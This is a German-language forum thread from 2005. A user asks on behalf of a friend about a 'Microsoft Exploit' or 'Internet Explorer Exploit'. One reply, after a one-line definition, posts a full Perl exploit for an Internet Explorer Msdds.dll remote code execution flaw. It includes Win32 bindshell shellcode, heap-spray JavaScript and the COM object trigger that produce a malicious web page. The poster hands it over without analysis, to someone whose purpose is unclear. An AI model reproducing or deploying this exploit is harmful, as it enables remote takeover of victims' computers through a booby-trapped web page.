Microsoft Exploit?! Gibt es soetwas?

TS|2k4 · 18. Oktober 2005

Hey leute,.. ich habe da mal ne frage..

und zwar hat ein Freund mich angesprochen und gefragt ob ich ihm Microsoft Exploit besorgen kann.
Nun ja, mir sagt Microsoft Exploit aba nichts und bei Google habe ich auch nicht dazu gefunden.
Er sagt das diese Programm zum Seiten Übersetzen genutz wird. Quasi ein Translator.

Kann es sein das es soein Programm garnicht gibt?

Bin echt über jede Hilfe dankbar!! Da er es wohl sehr dringend braucht!? *confused*

Thx @ all helper!!

EDITT//

Er sagt er sucht "Internet Explorer Exploit" und hat mir diese seite dazu gezeigt, auf der ich nicht weiterkomme:

klick here

//EDIT END

Anzeige

phraser · 18. Oktober 2005

1.:falsches Forum!
2.:Gibt es keinen generellen Microsoft Exploit,weil Microsoft ca 1000Programme und Gamez geschrieben hat!
Weiterhin suchst du wahrscheinlihc nen Windows Exploit-> http://www.milw0rm.com aber dort wirst du sowas nur sehr selten finden weil ein genereller Windows Exploit nur ganz wenig gefunden bzw publiziert wird!
MfG

TS|2k4 · 18. Oktober 2005

thx erstmal.

zu 1. sry. wusst ich nicht.. dachte nur wegen windows & Software wäre ich hier richtig!

Zu 2. Was genau sind denn Exploits? Ich bin da echt total confused^^
Mein Kollege hat gerade nich hizugefügt das er "Internet Explorer Exploit" sucht..!

xodox · 18. Oktober 2005

Ein Exploit ist ein Code/Programm welches eine bestimmte Schwachstelle ausnützt.

Code:

#!/usr/bin/perl
#######################################################
# 
# Microsoft Internet Explorer "Msdds.dll" Remote Code Execution Exploit (0day)
#
# Bindshell on port 28876 - Vulnerability discovered and exploited by Anonymous
# 
# PoC code ripped from Berend-Jan Wever's Internet-Exploiter
#
# Vulnerable : EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F (Msdds.dll)
#
# Tested on : Microsoft Internet Explorer 6 SP2 (Windows XP SP2)
#
# Code usage : perl IE-Msddsdll-0day.pl > mypage.html
# 
#######################################################
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of the GNU General Public License version 2, 1991 as published by
# the Free Software Foundation.
# 
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
# 
# A copy of the GNU General Public License can be found at:
# http://www.gnu.org/licenses/gpl.html
# or you can write to:
# Free Software Foundation, Inc.
# 59 Temple Place - Suite 330
# Boston, MA 02111-1307
# USA.
#
#######################################################

# header
my $header = "<html><body>\n<SCRIPT language=\"javascript\">\n";

# Win32 bindshell (port 28876) - SkyLined
my $shellcode = "shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u43eb".
"%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea".
"%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7".
"%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b".
"%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64".
"%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c".
"%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe".
"%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0".
"%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050".
"%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6".
"%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650".
"%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa".
"%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656".
"%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1".
"%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353".
"%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353".
"%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe".
"%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff".
"%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb\");\n";

# Memory 
my $code = "bigblock = unescape(\"%u0D0D%u0D0D\");\n".
"headersize = 20;\n".
"slackspace = headersize+shellcode.length\n".
"while (bigblock.length<slackspace) bigblock+=bigblock;\n".
"fillblock = bigblock.substring(0, slackspace);\n".
"block = bigblock.substring(0, bigblock.length-slackspace);\n".
"while(block.length+slackspace<0x40000) block = block+block+fillblock;\n".
"memory = new Array();\n".
"for (i=0;i<700;i++) memory[i] = block + shellcode;\n".
"</SCRIPT>\n";

# Msdds.dll
my $clsid = 'EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F'; 

# footer
my $footer = "<object classid=\"CLSID:".$clsid."\"></object></body></html>\n".
"Microsoft Internet Explorer Msdds.dll COM Object Remote Exploit\n";

# print "Content-Type: text/html;\r\n\r\n"; # if you are in cgi-bin
print "$header $shellcode $code $footer";

TS|2k4 · 18. Oktober 2005

thx werde ihm das mal so weiterreichen..

vll kann er ja was damit anfangen ... ich jedenfalls nicht

thx

Nützliche Suchen

Microsoft Exploit?! Gibt es soetwas?

Videos zum Thema